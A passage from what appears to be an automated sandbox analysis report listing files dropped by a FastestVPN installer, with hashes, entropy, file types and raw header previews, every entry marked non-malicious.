                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):122256
                                                                                                                Entropy (8bit):6.572766216409801
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:nU40ONP+ki9jNhepTRIvy2V7iOHckTTv0c7tSuagvcCy:ShenI6w7wk0Sq3
                                                                                                                MD5:C24CF68C9012B4E261D2FD6B2240BBE8
                                                                                                                SHA1:45844AE139DB45652AAC12E1D6EE138ED709E261
                                                                                                                SHA-256:42ED395C54526DAD6AA275CA2A65F6DE6E94BC8CEC8548CFB9891BA430FF1974
                                                                                                                SHA-512:DDF7872EB70E9546D28A209A562C873BA9E9402AD600C3D44ACD425FC7337C19B581A8C06F8BAD5987B36EF82895AAD0DA48CBC7E0E64886CD0EB7C9884FFA4D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....*0..........." ..0.................. ........... ....................... .......$....`.................................k...O........................'..........0}..p............................................ ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........................u.......|........................................-.r...ps(...z......()....o*...*..-.r...ps(...z.-.r...ps(...z.......%...(...+&*..-.r...ps(...z.-.r...ps(...z.......%...(...+*...0..^........-.r...ps(...z.-.r...ps(...z.-.r-..ps(...z.(+...-..rI..p.o,...,.(S...r...ps-...z..s.....(....*...0...........-.r...ps(...z.-.r-..ps(...z..(....,$..(....rI..p.o,...,.(S...r...ps-...zs....%.o............%...(...+..o.......o/..........()...o0...t....o.....*...0..s.......

                                                                                                                C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):711952
                                                                                                                Entropy (8bit):5.967185619483575
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
                                                                                                                MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                C:\Program Files\FastestVPN\Service\Owin.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):15528
                                                                                                                Entropy (8bit):6.93175318343703
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:192:KKE4Nl+ACIYiYF80CX+0tvTS8hFP2bnNr/ZyGMLBVYvmvVKNFUK:ZE4OhIYifS0FP27NBY3Yuv+n
                                                                                                                MD5:ADF6FCD8199E4DA7F52FBEBD9D9496D7
                                                                                                                SHA1:17E7E444AB035AE759D3B0E48928B7D23CEC3682
                                                                                                                SHA-256:C1AF49ACF4E6E9B77C025405CB31E6493F4A9A0080AE48381CE3B36EC5E1D76E
                                                                                                                SHA-512:72F42DC40B2B1B9C25F0B4BC6E18BCE4B9F144A39442B05E5DF6FB792EA1F5E0645E5CF6251918AF0D81316437982ADBE6892992E4F4323CF48C84A6B08FD809
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f.P...........!................N)... ...@....... ....................................@..................................(..W....@...................*...`.......'............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0)......H........ ......................P ......................................-.N...._J...a.w~.{...I..}.B.;=.XT.Jh.;.(f.eU/@r.. .......g...^......{i....h]..A,};......g..4..bb.....(..S).]..Ol.[..r....C.BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob...........G.........%3................................................................H.-...p.i.....i.....................8.....W.......p.....p.................i.......;.$...

                                                                                                                C:\Program Files\FastestVPN\Service\System.Web.Cors.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):28648
                                                                                                                Entropy (8bit):6.283743404391549
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:vPYMDLxA6GikwBUGkXkFmDKAsIh5V7L5XWmzWNsWtyHRN7XZj05seyR9zHA:vgMmZ1dUdGZSDuXZj05sN9zg
                                                                                                                MD5:9FFF1DA4E481028262E27AEFD7C0EFF4
                                                                                                                SHA1:B0128E42E3CE3C295C48461A651AF99D95B5A04D
                                                                                                                SHA-256:3FDB918CC5F1E5F1FA9C155DC68AAFE10A16C73ED934C06B201ED94070EA985D
                                                                                                                SHA-512:6B02B873C4092BFE3C2D8428093696E94C6021DB9D6FA8740E79DF7C6C5208229ED7AE8A62E96597EEEF348956BC6AB79375292B6456162F78D332E3830B75EC
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P^.b.........." ..0..>...........\... ...`....... ..............................c.....`.................................x\..O....`...............H...'..........@[............................................... ............... ..H............text....<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............F..............@..B.................\......H.......(-...+..........8X.......Z........................................(.....s....(.....s....(.....s....(.....s....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*..0..1..........j...(.........(...._,.r...p(I...s....z..}....*..{....*"..}....*...0..p.......s....%r...po....&%.(....o....&%r/..po....&%.(....o....&%rU..po....&%.(....o....&%r{..po....&%.(.......(....-.r...p+..(.......(.......( .

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):35496
                                                                                                                Entropy (8bit):6.3718937380199785
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:PS78zRHlzbzaxUxU7y7y7y7S7CxUxU7y3K7yTyTTN77xNTOLSxY777DKoRREEK7/:PS7DOOqf1RuhC5v7YK/CW1
                                                                                                                MD5:D438F337397A4CB3CA4E87F70BC4B4C0
                                                                                                                SHA1:FB6FB592744E34BA9B8B9E2B05F6D9C0C983F353
                                                                                                                SHA-256:80E40E47F7D6EB2C9CB357B1B3951D0B0429087F44BEC066993C26975CDA4A76
                                                                                                                SHA-512:8B9E589D378775331C08CEB908C4FC3BCA2AFBEA776E86163E5C641BF1D5F5E84BBA76B6E5C0102EC388005F8D09EAAA80DFB60185C83BF462543A6903236204
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...>............." ..0..X...........v... ........... ...............................k....`..................................v..O....................`...*...........v..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................v......H........3...B...........................................................0.................(n...........................s)...}................s%...}................s....}................s....}................s....}................s....} ...............s!...}!...............s....}"...............s....}#...............s=...}$...............s9...}%...............s5...}&...............sA...}'...............sE...}(...............s-...})...............s1...}*........(....(....(....

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.Common.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):60584
                                                                                                                Entropy (8bit):6.426868083769682
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:W0YiwXHy9lkD6vudI9C3dt8dNbm+ESg34o556bYIDwpFGpphsA/FIDbaFLdtlxnn:WxJ8kM9CHJ6bY3zkXX8u4iNd7EgIK/X
                                                                                                                MD5:D4BECC422A254D1A75CFC60750572848
                                                                                                                SHA1:2AE1D45045828B8D9A57DD90213F462D72F9A98B
                                                                                                                SHA-256:A8BC4A168A5F9CD7ABBBBFF3F0794F433233A72D557E168AF42BD34FFF3A2F34
                                                                                                                SHA-512:91A1E21F87868A00CF715018577A028413CB638A7965756324AFCF16A6108906DCB355959882C2C555C7276EF1A70627E455B4057695DE8C462E4D0679FEFAC5
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............r.... ........... ....................... ............`................................. ...O........................*..............8............................................ ............... ..H............text...x.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................T.......H.......T0..4.............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*>.(....o4......*>.(....o4......*>.(....o2......*>.(....o2......*>.(....o2......*v.(....-..(....,..(....+..+..*..{....*"..}....*6..s....}....*..0............(......,...(k.....*....0..4.......s......(....}......}......}......}.....|......(...+*.0..Y.........(....o....r...p(....(c....(f....(g.....(......,&.

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):31912
                                                                                                                Entropy (8bit):6.377780370750934
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:H4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7gIYiNZs0t:HzNK/G4IfVswkYLy5L7pYiNbK/Y/+hM
                                                                                                                MD5:14515F3569114E0060716ABD3AB3265A
                                                                                                                SHA1:9E2DBC71979FFB5E3270C9353EA53448D9E07544
                                                                                                                SHA-256:94DEC461C651A437049E2E5CBA046684E7177C350B836B363880EEEBDD1EBDEA
                                                                                                                SHA-512:7067B02E1493A61BBABA8DDF922A8B5FDC31466F0E28ADAC116865661E739D6939863C44212FB0A22C49D2F3F03D2C28221E54C15FBC6387C43BD47637A349E4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................yA....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.RAS.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):41128
                                                                                                                Entropy (8bit):6.401085070695131
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:lQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtRKS:4VutFQF873t3/77KaDBuz3bzrBJBOKiT
                                                                                                                MD5:AD53B27150F1E38EF23BD155A07E2313
                                                                                                                SHA1:3A9A4383B9286A0E1A3F4102BC56437A5A961E41
                                                                                                                SHA-256:62DBC8A6D43D623E5F267B59A3C78807CB08EFBE37A06A67425C9458D8B985DA
                                                                                                                SHA-512:F8D471175E39425F1E1613C60EDD9D1A98DBACC98E3F18746AA642524AFB7D9F9A299B2BE33629200AB94538BF95C78B6343DE193EE3AD48B1CFC1DD4E37E9D4
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):20136
                                                                                                                Entropy (8bit):6.721932799011409
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:WaXxdsvBO/dITrZ+VK6G6IYi+PVC0FP27NBY3Yuv+cN:WJZl6GHYiGZK/Y/+cN
                                                                                                                MD5:8E6A799F0DA3FBA278F06D4C7A18E7B5
                                                                                                                SHA1:B9AD516A47362FFAF360C1E8794D2F10C8E7080F
                                                                                                                SHA-256:1029DDF44F3CD774754DDFEAFB97BE18CD31B50DE24F19870F9BDE8163B5DEA5
                                                                                                                SHA-512:4607E418C0BE1F632CBE5CE0A8F1877F45EB873C193B4FF7C52495E891BD05D7F3AA3847D97F36D7B5601FCCAFCF6DE4A822140D9610C9E9BCA900BC06C67DE8
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ....................................`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                C:\Program Files\FastestVPN\Service\VPN.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):18088
                                                                                                                Entropy (8bit):6.788270069437216
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:CiqjQN+Pw2X6VUYNVYuKAiIYiUOI0FP27NBY3Yuv+Pg:1qjQ8f5uKAvYidpK/Y/+4
                                                                                                                MD5:A891AAC2D9FD1B939E07BE155AFC84FF
                                                                                                                SHA1:7F977350D9CFD10C259356D98C0606779519C6EF
                                                                                                                SHA-256:38D6709A0A003761850933F79132CCDC40B6F26460169BAB092931BBA1500683
                                                                                                                SHA-512:E4227CA484824ED3C912A58B741B4A447ACC50DFFB9945165303D5362BA39217FFAEFC62DF60D292A8B081DAD82CD85593FF64DB93DBC26465355D89AA527724
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...X4y..........." ..0.............n3... ...@....... ...................................`..................................3..O....@..H................*...`.......2..8............................................ ............... ..H............text...t.... ...................... ..`.rsrc...H....@......................@..@.reloc.......`......................@..B................N3......H........#................................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..(........%-.&r...ps....z(.......(.....*.0..................,..rM..ps....z.(.........,...(....o.......(.......(.....s....o.........(....(......(....o......(....o........&..(.....r...ps....o........*..........tu.......0..B..........(....%-.&+.o.......*&..(.....(....%-.&.+.(......s....o........*.............*.....0..B..........(....%-.&+.o ......*&..(.....

                                                                                                                C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.829205499580206
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:+NjMaZomdl7FUC9mhsCVoNycrjIg9J197j26dIYi5YFK0FP27NBY3Yuv+QgP:+HhShzuD/Bpa6KYiyFjK/Y/+PP
                                                                                                                MD5:76DC589253A2FDAAA3CDD02E9F5421DD
                                                                                                                SHA1:A072B9CDDBDC150394643EBFD565A2443AFD9501
                                                                                                                SHA-256:9AC1C9B0343F4D9638FEB4FA25824AFBD2D829EEBF13E54A5FD2197CED2118B5
                                                                                                                SHA-512:50A85E3C61A2506912BC0F4547079DAB2C6B60A882127A4C3087C9AB4065C6568B1E8D4AF246D68BFEE7E7347664883A2FC8E00E2E58EA1DE867FE33D8220861
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p.......D....@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\iphelperclose.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):116872
                                                                                                                Entropy (8bit):6.726218253535254
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Service\is-0I6F0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):70824
                                                                                                                Entropy (8bit):6.236705505937758
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:dMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTB7sK/T:SorK0HBDk4rV21HObvm2LJB4BAK/T
                                                                                                                MD5:F7543F2749BAB00FB981A41BE19734F8
                                                                                                                SHA1:8BE0A90C7C011EEF0A775A518F2A29CE4AB035AA
                                                                                                                SHA-256:634CD208B4FE8DB050AC7D782CB953D51E266B62369F0F80B0CF9D10D077A76F
                                                                                                                SHA-512:160FBEB4AE704D00800656274B7680003C64559867ACEFB9274A23A1AEE45A145254E66DF423653CC3776A2FFA2A4F98BA93510109CF9963AED4CEBA2913A106
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`............`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                C:\Program Files\FastestVPN\Service\is-26JEF.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):80784
                                                                                                                Entropy (8bit):6.644018601476374
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:hwe4Dxq2afEZznigIM8U/w2ZAfiQ922f5qj1NrVuu26zmb:h54DxLaQAOw2C7922i1JVN6b
                                                                                                                MD5:056A3B1C036A46447EBCA7083DA271A5
                                                                                                                SHA1:8044FD37E124DF9BAFCE4311DB66D6B931120006
                                                                                                                SHA-256:6BEDFFF38EB390D01F0D51340B7B4F8F7B3D1C1C6CEE8888C0A8088EDA19283D
                                                                                                                SHA-512:3399C06120F32219D611D976D778654A2628AC5BA0FA778512FE1101EE461663C5D5819ED5EECF90363F70E69108F5DAA1A3E71E81BB7F9F635AED8908997852
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............(... ...@....... ..............................M.....`..................................'..O....@..(................'...`..........p............................................ ............... ..H............text........ ...................... ..`.rsrc...(....@......................@..@.reloc.......`......................@..B.................'......H........[..............................................................*....(....**....(....**....(....**....(....*..(&.....%-.&(....}......%-.&...'...s(...}......%-.&s....}....*j...(....%-.&.{......o)...*...0..........s........%-.&~*.......,(...+-....(......-..(,...-....(......-..*..o-...}_....o....(,...,.r...p+..o........{_.....(....}`....{`...-..*.......s/...*...0.............(......-..*.o0.....o1.....(.....(...+o.....+w.o..........o3........(4...,/.(5...(..........%...%.

                                                                                                                C:\Program Files\FastestVPN\Service\is-2IA4L.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1327
                                                                                                                Entropy (8bit):5.042117116126737
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JdArztW1oF7Nv+pvH2/+jSLVhOXrRH2/dVv+BvH2/+jSLVtvH2/39y:3Arzcq7h+Fg+mL27Rgdp+dg+mLPg3w
                                                                                                                MD5:E40244BE7715300DC4BA229C25237728
                                                                                                                SHA1:F9D299542C616D860D495CE59A6FD2B90907B2E5
                                                                                                                SHA-256:AE5027694FF0D363F757F112162AC8D49550826872C9A5B2BA67A75F56109C4D
                                                                                                                SHA-512:CBEA4111D0A2D8BB5FF5AD631728C85A38668C6D470AB8A4D59D5334B9309EF34125E9A9F70EA942113212D5B1FD5EABF9DF860F9112B52D55C95EE32BB8721A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin.Security" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Owin" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.2.2.0" newVersion="4.2.2.0

                                                                                                                C:\Program Files\FastestVPN\Service\is-30IMG.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:data
                                                                                                                Category:dropped
                                                                                                                Size (bytes):391679
                                                                                                                Entropy (8bit):7.999511035435245
                                                                                                                Encrypted:true
                                                                                                                SSDEEP:6144:OlONGHKHiJNCMTls7osGd5Rc9WCbMp6MipxaJ1Gh6nWPcESQvq2nFP2vOK2hpVJ0:OlOYHKCJr6s5dwWAm6Hpuc6WPlSQvq2O
                                                                                                                MD5:5C12D1B93C6093CB590750435A8A9E42
                                                                                                                SHA1:C199AAD217CF1E0E625ADA9A96F96435D0AF9743
                                                                                                                SHA-256:F63639D125ECE4B847AEC48119BD8BE96935DA2F29FCC8CF2A2E37D28999A929
                                                                                                                SHA-512:81952DFE87C8D4A81892A940A6F3619E898A0BEF7618C06C6E0BDDB59599BCED2FD9F1A0285D84AC11BAD29E7E73382D10DAC0A6049DC25CD86FFA533B149ADD
                                                                                                                Malicious:false
                                                                                                                Preview:Windows Registry Editor Version 5.00..3_7...)...q.A..4.C..mf.SH.....3G..V.J?-.k."......p|.K...e....{Q..4l.9...f]l..C]. ^.)7TP.z.....J.Km..9...p@.GpTE...^I.u...E....t.7l*...D=.>..Z.....y.Z.]..w.t...l...SQ..k..yXt.#V...a.n..5..../U....D...H_.xp?.I.!%.,.+(}.)...a..|...F...Ym..X.....e,.>..I!*$h.TIb;...t.P.<T..>.(O...... ......8.O.='P.CL.N.....h..hW.C?U...hl.....zN..T=....D>gN......G...e.Xo<.d...<..j.D..&..C\Bq.......z.W...-.rV}.....6+.m.A...ohv.f!a6..]..9.^b.]....L."U&...;^......_hq.2..lG.~O..H".N%...v<."...:.a.5*+...1...9.../U.!.F......sw)...U^.........R...B..6=.x.n...JE.... :}..0.(..p.....P.T...I.D:.wW..~..r.K..IfJ.<X#.4-N......C6..4.p.....(ie7....5...4..B.t.....JI.,..(..X!....^......q..d....;..d.m<...9q.....zM......X.K.E.,z`...92..wK.N.....(..G.\..=-..:2...>..5ev...[.o...|..:..9.@sY|>..l..z.:4.&'.g.A...o.H.Vp..X...w.Aa1.]....-.D..{.l|...r.U....51..Ny<.{.h.d..]81..~....D.w.WW...%.r..xV.!..7kR.c>.4...)N..O.Q$.....d0.7./8........(PA...

                                                                                                                C:\Program Files\FastestVPN\Service\is-35J99.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):18088
                                                                                                                Entropy (8bit):6.788270069437216
                                                                                                                Encrypted:false
